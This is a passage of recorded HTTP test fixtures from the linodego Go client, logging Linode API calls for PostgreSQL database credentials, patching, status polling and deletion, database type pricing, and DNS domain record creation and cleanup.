Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:16:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830/credentials method: GET response: body: '{"password": "@NewS3cur3P@ssw0rd", "username": "aCoolUsername"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "64" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:16:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830/patch method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:21:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r", "members": {"172.105.56.179": "failover", "172.105.56.41": "failover", "45.79.125.252": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "updating", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "854" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:22:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r", "members": {"172.105.56.179": "failover", "172.105.56.41": "failover", "45.79.125.252": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "updating", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "854" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:22:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r", "members": {"172.105.56.179": "failover", "172.105.56.41": "failover", "45.79.125.252": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "updating", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "854" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:22:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r", "members": {"172.105.56.179": "failover", "172.105.56.41": "failover", "45.79.125.252": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "updating", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "854" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:22:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210830-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210830-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210830, "label": "go-postgres-testing-defg02323nvin1r", "members": {"172.105.56.179": "failover", "172.105.56.41": "failover", "45.79.125.252": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "14.15", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "852" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:23:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/210830 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:23:23 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDatabase_Type.yaml000066400000000000000000000307201474652371000310170ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/types?page=1 method: GET response: body: '{"data": [{"class": "nanode", "disk": 9216, "engines": {"mysql": [{"price": {"hourly": 0.024, "monthly": 16.0}, "quantity": 1}, {"price": {"hourly": 0.055, "monthly": 37.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.024, "monthly": 16.0}, "quantity": 1}, {"price": {"hourly": 0.055, "monthly": 37.0}, "quantity": 3}]}, "id": "g6-nanode-1", "label": "DBaaS - Nanode 1GB", "memory": 1024, "vcpus": 1}, {"class": "standard", "disk": 30720, "engines": {"mysql": [{"price": {"hourly": 0.047, "monthly": 32.0}, "quantity": 1}, {"price": {"hourly": 0.11, "monthly": 74.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.047, "monthly": 32.0}, "quantity": 1}, {"price": {"hourly": 0.11, "monthly": 74.0}, "quantity": 3}]}, "id": "g6-standard-1", "label": "DBaaS - Linode 2GB", "memory": 2048, "vcpus": 1}, {"class": "standard", "disk": 59392, "engines": {"mysql": [{"price": {"hourly": 0.094, "monthly": 63.0}, "quantity": 1}, {"price": {"hourly": 0.22, "monthly": 147.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.094, "monthly": 63.0}, "quantity": 1}, {"price": {"hourly": 0.22, "monthly": 147.0}, "quantity": 3}]}, "id": "g6-standard-2", "label": "DBaaS - Linode 4GB", "memory": 4096, "vcpus": 2}, {"class": "standard", "disk": 133120, "engines": {"mysql": [{"price": {"hourly": 0.189, "monthly": 126.0}, "quantity": 1}, {"price": {"hourly": 0.441, "monthly": 294.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.189, "monthly": 126.0}, "quantity": 1}, {"price": {"hourly": 0.441, "monthly": 294.0}, "quantity": 3}]}, "id": "g6-standard-4", "label": "DBaaS - Linode 8GB", "memory": 8192, "vcpus": 4}, {"class": "standard", "disk": 286720, "engines": {"mysql": [{"price": {"hourly": 0.378, "monthly": 252.0}, "quantity": 1}, {"price": {"hourly": 0.882, "monthly": 588.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.378, "monthly": 252.0}, "quantity": 1}, {"price": {"hourly": 0.882, "monthly": 588.0}, "quantity": 3}]}, "id": "g6-standard-6", "label": "DBaaS - Linode 16GB", "memory": 16384, "vcpus": 6}, {"class": "standard", "disk": 589824, "engines": {"mysql": [{"price": {"hourly": 0.756, "monthly": 504.0}, "quantity": 1}, {"price": {"hourly": 1.764, "monthly": 1176.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.756, "monthly": 504.0}, "quantity": 1}, {"price": {"hourly": 1.764, "monthly": 1176.0}, "quantity": 3}]}, "id": "g6-standard-8", "label": "DBaaS - Linode 32GB", "memory": 32768, "vcpus": 8}, {"class": "standard", "disk": 1206272, "engines": {"mysql": [{"price": {"hourly": 1.512, "monthly": 1008.0}, "quantity": 1}, {"price": {"hourly": 3.528, "monthly": 2352.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 1.512, "monthly": 1008.0}, "quantity": 1}, {"price": {"hourly": 3.528, "monthly": 2352.0}, "quantity": 3}]}, "id": "g6-standard-16", "label": "DBaaS - Linode 64GB", "memory": 65536, "vcpus": 16}, {"class": "standard", "disk": 1830912, "engines": {"mysql": [{"price": {"hourly": 2.268, "monthly": 1512.0}, "quantity": 1}, {"price": {"hourly": 5.317, "monthly": 3545.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 2.268, "monthly": 1512.0}, "quantity": 1}, {"price": {"hourly": 5.317, "monthly": 3545.0}, "quantity": 3}]}, "id": "g6-standard-20", "label": "DBaaS - Linode 96GB", "memory": 98304, "vcpus": 20}, {"class": "standard", "disk": 2439168, "engines": {"mysql": [{"price": {"hourly": 3.024, "monthly": 2016.0}, "quantity": 1}, {"price": {"hourly": 7.09, "monthly": 4726.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 3.024, "monthly": 2016.0}, "quantity": 1}, {"price": {"hourly": 7.09, "monthly": 4726.0}, "quantity": 3}]}, "id": "g6-standard-24", "label": "DBaaS - Linode 128GB", "memory": 131072, "vcpus": 24}, {"class": "standard", "disk": 3686400, "engines": {"mysql": [{"price": {"hourly": 4.536, "monthly": 3025.0}, "quantity": 1}, {"price": {"hourly": 10.634, "monthly": 7090.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 4.536, "monthly": 3025.0}, "quantity": 1}, {"price": {"hourly": 10.634, "monthly": 7090.0}, "quantity": 3}]}, "id": "g6-standard-32", "label": "DBaaS - Linode 192GB", "memory": 196608, "vcpus": 32}, {"class": "dedicated", "disk": 59392, "engines": {"mysql": [{"price": {"hourly": 0.102, "monthly": 68.0}, "quantity": 1}, {"price": {"hourly": 0.214, "monthly": 143.0}, "quantity": 2}, {"price": {"hourly": 0.307, "monthly": 206.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.102, "monthly": 68.0}, "quantity": 1}, {"price": {"hourly": 0.214, "monthly": 143.0}, "quantity": 2}, {"price": {"hourly": 0.307, "monthly": 206.0}, "quantity": 3}]}, "id": "g6-dedicated-2", "label": "DBaaS - Dedicated 4GB", "memory": 4096, "vcpus": 2}, {"class": "dedicated", "disk": 133120, "engines": {"mysql": [{"price": {"hourly": 0.204, "monthly": 136.0}, "quantity": 1}, {"price": {"hourly": 0.427, "monthly": 285.0}, "quantity": 2}, {"price": {"hourly": 0.615, "monthly": 410.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.204, "monthly": 136.0}, "quantity": 1}, {"price": {"hourly": 0.427, "monthly": 285.0}, "quantity": 2}, {"price": {"hourly": 0.615, "monthly": 410.0}, "quantity": 3}]}, "id": "g6-dedicated-4", "label": "DBaaS - Dedicated 8GB", "memory": 8192, "vcpus": 4}, {"class": "dedicated", "disk": 286720, "engines": {"mysql": [{"price": {"hourly": 0.409, "monthly": 273.0}, "quantity": 1}, {"price": {"hourly": 0.885, "monthly": 590.0}, "quantity": 2}, {"price": {"hourly": 1.228, "monthly": 819.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.409, "monthly": 273.0}, "quantity": 1}, {"price": {"hourly": 0.885, "monthly": 590.0}, "quantity": 2}, {"price": {"hourly": 1.228, "monthly": 819.0}, "quantity": 3}]}, "id": "g6-dedicated-8", "label": "DBaaS - Dedicated 16GB", "memory": 16384, "vcpus": 8}, {"class": "dedicated", "disk": 589824, "engines": {"mysql": [{"price": {"hourly": 0.819, "monthly": 546.0}, "quantity": 1}, {"price": {"hourly": 1.752, "monthly": 1168.0}, "quantity": 2}, {"price": {"hourly": 2.457, "monthly": 1638.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.819, "monthly": 546.0}, "quantity": 1}, {"price": {"hourly": 1.752, "monthly": 1168.0}, "quantity": 2}, {"price": {"hourly": 2.457, "monthly": 1638.0}, "quantity": 3}]}, "id": "g6-dedicated-16", "label": "DBaaS - Dedicated 32GB", "memory": 32768, "vcpus": 16}, {"class": "dedicated", "disk": 1206272, "engines": {"mysql": [{"price": {"hourly": 1.759, "monthly": 1173.0}, "quantity": 1}, {"price": {"hourly": 3.547, "monthly": 2365.0}, "quantity": 2}, {"price": {"hourly": 5.188, "monthly": 3459.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 1.759, "monthly": 1173.0}, "quantity": 1}, {"price": {"hourly": 3.547, "monthly": 2365.0}, "quantity": 2}, {"price": {"hourly": 5.188, "monthly": 3459.0}, "quantity": 3}]}, "id": "g6-dedicated-32", "label": "DBaaS - Dedicated 64GB", "memory": 65536, "vcpus": 32}, {"class": "dedicated", "disk": 1830912, "engines": {"mysql": [{"price": {"hourly": 2.639, "monthly": 1759.0}, "quantity": 1}, {"price": {"hourly": 5.448, "monthly": 3632.0}, "quantity": 2}, {"price": {"hourly": 7.792, "monthly": 5195.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 2.639, "monthly": 1759.0}, "quantity": 1}, {"price": {"hourly": 5.448, "monthly": 3632.0}, "quantity": 2}, {"price": {"hourly": 7.792, "monthly": 5195.0}, "quantity": 3}]}, "id": "g6-dedicated-48", "label": "DBaaS - Dedicated 96GB", "memory": 98304, "vcpus": 48}, {"class": "dedicated", "disk": 2379776, "engines": {"mysql": [{"price": {"hourly": 3.511, "monthly": 2341.0}, "quantity": 1}, {"price": {"hourly": 7.132, "monthly": 4755.0}, "quantity": 2}, {"price": {"hourly": 10.108, "monthly": 6739.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 3.511, "monthly": 2341.0}, "quantity": 1}, {"price": {"hourly": 7.132, "monthly": 4755.0}, "quantity": 2}, {"price": {"hourly": 10.108, "monthly": 6739.0}, "quantity": 3}]}, "id": "g6-dedicated-50", "label": "DBaaS - Dedicated 128GB", "memory": 131072, "vcpus": 50}, {"class": "dedicated", "disk": 4816896, "engines": {"mysql": [{"price": {"hourly": 7.032, "monthly": 4684.0}, "quantity": 1}, {"price": {"hourly": 13.677, "monthly": 9118.0}, "quantity": 2}, {"price": {"hourly": 20.329, "monthly": 13553.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 7.032, "monthly": 4684.0}, "quantity": 1}, {"price": {"hourly": 13.677, "monthly": 9118.0}, "quantity": 2}, {"price": {"hourly": 20.329, "monthly": 13553.0}, "quantity": 3}]}, "id": "g6-dedicated-56", "label": "DBaaS - Dedicated 256GB", "memory": 262144, "vcpus": 56}], "page": 1, "pages": 1, "results": 18}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:05:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/types/g6-nanode-1 method: GET response: body: '{"class": "nanode", "disk": 9216, "engines": {"mysql": [{"price": {"hourly": 0.024, "monthly": 16.0}, "quantity": 1}, {"price": {"hourly": 0.055, "monthly": 37.0}, "quantity": 3}], "postgresql": [{"price": {"hourly": 0.024, "monthly": 16.0}, "quantity": 1}, {"price": {"hourly": 0.055, "monthly": 37.0}, "quantity": 3}]}, "id": "g6-nanode-1", "label": "DBaaS - Nanode 1GB", "memory": 1024, "vcpus": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "401" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:05:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDomainRecord_Create.yaml000066400000000000000000000152701474652371000321460ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 3153528, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153528/records method: POST response: body: '{"id": 36666864, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 31 Oct 2024 20:38:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/3153528/records/36666864 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status 